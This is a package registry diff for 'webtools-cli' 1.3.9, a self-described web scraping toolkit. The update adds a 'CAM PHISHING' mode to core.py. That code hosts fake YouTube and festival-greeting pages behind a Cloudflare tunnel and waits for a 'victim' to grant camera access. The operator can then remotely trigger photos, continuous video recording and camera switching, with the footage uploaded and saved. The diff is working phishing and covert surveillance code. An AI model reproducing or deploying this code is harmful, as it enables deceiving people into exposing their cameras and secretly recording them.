webtools-cli 1.3.8__tar.gz → 1.3.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {webtools_cli-1.3.8/webtools_cli.egg-info → webtools_cli-1.3.9}/PKG-INFO +1 -1
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/pyproject.toml +2 -2
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/cli.py +1 -1
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/core.py +158 -3
- webtools_cli-1.3.9/webtools/festivals.html +622 -0
- webtools_cli-1.3.9/webtools/youtube.html +1304 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9/webtools_cli.egg-info}/PKG-INFO +1 -1
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/SOURCES.txt +2 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/ComfyUI/comfyUI.py +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/ComfyUI/comfyu.py +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/ComfyUI/ui.py +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/LICENSE +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/README.md +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/setup.cfg +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/__init__.py +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/__main__.py +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/install.py +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/mega_client.py +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/web/index.html +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/web/script.js +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/web/style.css +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/dependency_links.txt +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/entry_points.txt +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/requires.txt +0 -0
- {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/top_level.txt +0 -0
|
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "webtools-cli"
|
|
7
|
-
version = "1.3.
|
|
7
|
+
version = "1.3.9"
|
|
8
8
|
description = "Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI"
|
|
9
9
|
readme = "README.md"
|
|
10
10
|
license = "MIT"
|
|
@@ -55,5 +55,5 @@ Homepage = "https://webtoolscli.pages.dev"
|
|
|
55
55
|
include = ["webtools*", "ComfyUI*"]
|
|
56
56
|
|
|
57
57
|
[tool.setuptools.package-data]
|
|
58
|
-
webtools = ["web/*"]
|
|
58
|
+
webtools = ["web/*", "*.html"]
|
|
59
59
|
ComfyUI = ["*.py"]
|
|
@@ -30,6 +30,7 @@ if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
|
|
|
30
30
|
# --- PACKAGE PATHS ---
|
|
31
31
|
PACKAGE_DIR = os.path.dirname(os.path.abspath(__file__))
|
|
32
32
|
DATA_DIR = os.path.join(os.path.expanduser('~'), '.webtools')
|
|
33
|
+
os.makedirs(DATA_DIR, exist_ok=True)
|
|
33
34
|
DB_PATH = os.path.join(DATA_DIR, 'app.db')
|
|
34
35
|
# Scraped results are stored in a local 'webfiles' folder for better visibility
|
|
35
36
|
SCRAPED_DIR = os.path.join(os.getcwd(), 'webfiles', 'scraped')
|
|
@@ -2827,6 +2828,71 @@ def api_translate():
|
|
|
2827
2828
|
print(f"Translation Error: {e}")
|
|
2828
2829
|
return jsonify({'error': str(e)}), 500
|
|
2829
2830
|
|
|
2831
|
+
# --- CAM PHISHING FEATURE ---
|
|
2832
|
+
CAM_STATE = {'action': None, 'page_name': None, 'yt_url': None, 'yt_title': None}
|
|
2833
|
+
CAM_DIR_PIC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'pic')
|
|
2834
|
+
CAM_DIR_REC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'rec')
|
|
2835
|
+
os.makedirs(CAM_DIR_PIC, exist_ok=True)
|
|
2836
|
+
os.makedirs(CAM_DIR_REC, exist_ok=True)
|
|
2837
|
+
|
|
2838
|
+
@app.route('/yt')
|
|
2839
|
+
@app.route('/festival')
|
|
2840
|
+
def serve_cam_watch():
|
|
2841
|
+
page_name = CAM_STATE.get('page_name')
|
|
2842
|
+
if page_name in ['youtube', 'festivals']:
|
|
2843
|
+
return send_from_directory(PACKAGE_DIR, f"{page_name}.html")
|
|
2844
|
+
return "Not found", 404
|
|
2845
|
+
|
|
2846
|
+
@app.route('/api/cam/config', methods=['GET'])
|
|
2847
|
+
def api_cam_config():
|
|
2848
|
+
return jsonify({
|
|
2849
|
+
'yt_url': CAM_STATE.get('yt_url', ''),
|
|
2850
|
+
'yt_title': CAM_STATE.get('yt_title', 'YouTube')
|
|
2851
|
+
})
|
|
2852
|
+
|
|
2853
|
+
@app.route('/api/cam/action', methods=['GET'])
|
|
2854
|
+
def api_cam_action():
|
|
2855
|
+
action = CAM_STATE['action']
|
|
2856
|
+
CAM_STATE['action'] = None
|
|
2857
|
+
return jsonify({'action': action})
|
|
2858
|
+
|
|
2859
|
+
@app.route('/api/cam/upload', methods=['POST'])
|
|
2860
|
+
def api_cam_upload():
|
|
2861
|
+
try:
|
|
2862
|
+
data = request.get_json(silent=True) or {}
|
|
2863
|
+
upload_type = data.get('type') # 'pic' or 'rec'
|
|
2864
|
+
content = data.get('content') # base64 string
|
|
2865
|
+
|
|
2866
|
+
if not upload_type or not content:
|
|
2867
|
+
return jsonify({'error': 'Missing type or content'}), 400
|
|
2868
|
+
|
|
2869
|
+
timestamp = int(time.time())
|
|
2870
|
+
|
|
2871
|
+
if upload_type == 'pic':
|
|
2872
|
+
# content is data:image/jpeg;base64,...
|
|
2873
|
+
header, encoded = content.split(",", 1)
|
|
2874
|
+
img_data = base64.b64decode(encoded)
|
|
2875
|
+
filename = f"capture_{timestamp}.jpg"
|
|
2876
|
+
filepath = os.path.join(CAM_DIR_PIC, filename)
|
|
2877
|
+
with open(filepath, 'wb') as f:
|
|
2878
|
+
f.write(img_data)
|
|
2879
|
+
print(f"\n[+] Picture saved: {filepath}\n> ", end="")
|
|
2880
|
+
|
|
2881
|
+
elif upload_type == 'rec':
|
|
2882
|
+
# content is data:video/webm;base64,...
|
|
2883
|
+
header, encoded = content.split(",", 1)
|
|
2884
|
+
vid_data = base64.b64decode(encoded)
|
|
2885
|
+
filename = f"recording_{timestamp}.webm"
|
|
2886
|
+
filepath = os.path.join(CAM_DIR_REC, filename)
|
|
2887
|
+
with open(filepath, 'wb') as f:
|
|
2888
|
+
f.write(vid_data)
|
|
2889
|
+
print(f"\n[+] Video saved: {filepath}\n> ", end="")
|
|
2890
|
+
|
|
2891
|
+
return jsonify({'success': True})
|
|
2892
|
+
except Exception as e:
|
|
2893
|
+
print(f"\n[-] Upload error: {e}")
|
|
2894
|
+
return jsonify({'error': str(e)}), 500
|
|
2895
|
+
|
|
2830
2896
|
def wait_for_server(port, timeout=10):
|
|
2831
2897
|
start = time.time()
|
|
2832
2898
|
while time.time() - start < timeout:
|
|
@@ -3690,9 +3756,95 @@ def run_comfyui_mode():
|
|
|
3690
3756
|
try: comfy_proc.wait(timeout=5)
|
|
3691
3757
|
except: comfy_proc.kill()
|
|
3692
3758
|
|
|
3759
|
+
def run_cam_mode():
|
|
3760
|
+
"""Interactive CLI flow for the /cam feature"""
|
|
3761
|
+
os.system('cls' if os.name == 'nt' else 'clear')
|
|
3762
|
+
print(f"\n{Fore.CYAN}--- CAM PHISHING MODE ---{Style.RESET_ALL}")
|
|
3763
|
+
print("Select target page template:")
|
|
3764
|
+
print(f" {Fore.CYAN}[1]{Style.RESET_ALL} Youtube")
|
|
3765
|
+
print(f" {Fore.CYAN}[2]{Style.RESET_ALL} Feastival Wishing")
|
|
3766
|
+
print(f" {Fore.RED}[b]{Style.RESET_ALL} Back to main menu")
|
|
3767
|
+
|
|
3768
|
+
choice = input(f"\n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
|
|
3769
|
+
if choice == 'b':
|
|
3770
|
+
return
|
|
3771
|
+
|
|
3772
|
+
yt_url = ""
|
|
3773
|
+
if choice == '1':
|
|
3774
|
+
CAM_STATE['page_name'] = "youtube"
|
|
3775
|
+
yt_url = input(f"Enter YouTube Link (e.g. https://www.youtube.com/watch?v=...): \n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip()
|
|
3776
|
+
CAM_STATE['yt_url'] = yt_url
|
|
3777
|
+
|
|
3778
|
+
yt_title = "YouTube"
|
|
3779
|
+
if yt_url:
|
|
3780
|
+
import urllib.request, json, urllib.parse
|
|
3781
|
+
try:
|
|
3782
|
+
oembed_url = f"https://www.youtube.com/oembed?url={urllib.parse.quote(yt_url)}&format=json"
|
|
3783
|
+
with urllib.request.urlopen(oembed_url, timeout=5) as response:
|
|
3784
|
+
data = json.loads(response.read().decode('utf-8'))
|
|
3785
|
+
yt_title = data.get('title', "YouTube")
|
|
3786
|
+
except Exception:
|
|
3787
|
+
pass
|
|
3788
|
+
CAM_STATE['yt_title'] = yt_title
|
|
3789
|
+
elif choice == '2':
|
|
3790
|
+
CAM_STATE['page_name'] = "festivals"
|
|
3791
|
+
else:
|
|
3792
|
+
print(f"{Fore.RED}Invalid choice.{Style.RESET_ALL}")
|
|
3793
|
+
time.sleep(1)
|
|
3794
|
+
return
|
|
3795
|
+
|
|
3796
|
+
# Start Flask server if not running
|
|
3797
|
+
threading.Thread(target=lambda: app.run(host='0.0.0.0', port=PORT, debug=False, use_reloader=False, threaded=True), daemon=True).start()
|
|
3798
|
+
|
|
3799
|
+
public_url, tunnel_proc = None, None
|
|
3800
|
+
with MoonSpinner("Initializing Tunnel"):
|
|
3801
|
+
if wait_for_server(PORT, timeout=10):
|
|
3802
|
+
public_url, tunnel_proc = start_cloudflare_tunnel(PORT)
|
|
3803
|
+
else:
|
|
3804
|
+
print("❌ Server failed to start")
|
|
3805
|
+
return
|
|
3806
|
+
|
|
3807
|
+
if not public_url:
|
|
3808
|
+
print("❌ Failed to create tunnel")
|
|
3809
|
+
return
|
|
3810
|
+
if CAM_STATE.get('page_name') == 'youtube':
|
|
3811
|
+
target_url = f"{public_url}/yt"
|
|
3812
|
+
else:
|
|
3813
|
+
target_url = f"{public_url}/festival"
|
|
3814
|
+
|
|
3815
|
+
os.system('cls' if os.name == 'nt' else 'clear')
|
|
3816
|
+
print(f"\n{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
|
|
3817
|
+
print(f"{Fore.GREEN}🚀 Link is LIVE:{Style.RESET_ALL} {Fore.CYAN}{target_url}{Style.RESET_ALL}")
|
|
3818
|
+
print(f"{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
|
|
3819
|
+
print("\nWaiting for victim to open the link... (They will be prompted for camera after 5 sec)")
|
|
3820
|
+
print(f"\n{Fore.YELLOW}Available Commands:{Style.RESET_ALL}")
|
|
3821
|
+
print(" p : Capture picture")
|
|
3822
|
+
print(" r : Record video (Continuous chunks)")
|
|
3823
|
+
print(" f : Switch to Front Camera (Mobile)")
|
|
3824
|
+
print(" b : Switch to Back Camera (Mobile)")
|
|
3825
|
+
print(" q : Quit and return to menu\n")
|
|
3826
|
+
|
|
3827
|
+
try:
|
|
3828
|
+
while True:
|
|
3829
|
+
cmd = input(f"{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
|
|
3830
|
+
if cmd == 'q' or cmd == '/q':
|
|
3831
|
+
break
|
|
3832
|
+
elif cmd in ['p', 'r', 'f', 'b']:
|
|
3833
|
+
action_map = {'p': 'picture', 'r': 'record', 'f': 'switch_front', 'b': 'switch_back'}
|
|
3834
|
+
CAM_STATE['action'] = action_map[cmd]
|
|
3835
|
+
print(f"[*] Command '{action_map[cmd]}' sent to client. Waiting for response...")
|
|
3836
|
+
else:
|
|
3837
|
+
print(f"{Fore.RED}Unknown command.{Style.RESET_ALL}")
|
|
3838
|
+
except KeyboardInterrupt:
|
|
3839
|
+
pass
|
|
3840
|
+
finally:
|
|
3841
|
+
if tunnel_proc:
|
|
3842
|
+
try: tunnel_proc.terminate()
|
|
3843
|
+
except: pass
|
|
3844
|
+
|
|
3693
3845
|
def main_launcher():
|
|
3694
3846
|
"""Mode selection menu on startup"""
|
|
3695
|
-
menu_commands = ['/web', '/cli', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
|
|
3847
|
+
menu_commands = ['/web', '/cli', '/cam', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
|
|
3696
3848
|
|
|
3697
3849
|
# Conditional ComfyUI visibility
|
|
3698
3850
|
has_gpu = check_gpu()
|
|
@@ -3726,6 +3878,8 @@ def main_launcher():
|
|
|
3726
3878
|
run_cli_mode()
|
|
3727
3879
|
elif choice in ['/image', '/i']:
|
|
3728
3880
|
run_image_forensics_mode()
|
|
3881
|
+
elif choice in ['/cam']:
|
|
3882
|
+
run_cam_mode()
|
|
3729
3883
|
elif choice in ['/cui']:
|
|
3730
3884
|
if has_gpu or on_colab:
|
|
3731
3885
|
run_comfyui_mode()
|
|
@@ -3739,6 +3893,7 @@ def main_launcher():
|
|
|
3739
3893
|
print(f" {Fore.CYAN}/image{Style.RESET_ALL} - Local/Remote Image Forensics & AI detection. (Alias: /i)")
|
|
3740
3894
|
if has_gpu or on_colab:
|
|
3741
3895
|
print(f" {Fore.CYAN}/cui{Style.RESET_ALL} - Start ComfyUI session for AI generation.")
|
|
3896
|
+
print(f" {Fore.CYAN}/cam{Style.RESET_ALL} - Remote camera access via phishing templates.")
|
|
3742
3897
|
print(f" {Fore.CYAN}/adb{Style.RESET_ALL} - ADB Bloatware Remover for Android devices. (Alias: /a)")
|
|
3743
3898
|
print(f" {Fore.CYAN}/clear{Style.RESET_ALL} - Purges the 'webfiles/scraped' directory and clears screen.")
|
|
3744
3899
|
print(f" {Fore.CYAN}/history{Style.RESET_ALL} - Shows command history. (Alias: /hi)")
|
|
@@ -3762,14 +3917,14 @@ def main_launcher():
|
|
|
3762
3917
|
print("Cache purged and screen cleared.")
|
|
3763
3918
|
time.sleep(1)
|
|
3764
3919
|
elif choice in ['/quit', '/q']:
|
|
3765
|
-
print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}
|
|
3920
|
+
print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Terminating session... Stay secure.{Style.RESET_ALL}")
|
|
3766
3921
|
sys.exit()
|
|
3767
3922
|
elif choice in ['/adb', '/a']:
|
|
3768
3923
|
run_adb_mode()
|
|
3769
3924
|
elif is_valid_url(choice):
|
|
3770
3925
|
run_cli_mode(choice)
|
|
3771
3926
|
except KeyboardInterrupt:
|
|
3772
|
-
print("\n\
|
|
3927
|
+
print("\n\nTerminating session... Stay secure.")
|
|
3773
3928
|
sys.exit()
|
|
3774
3929
|
|
|
3775
3930
|
# --- ADB BLOATWARE REMOVER ---
|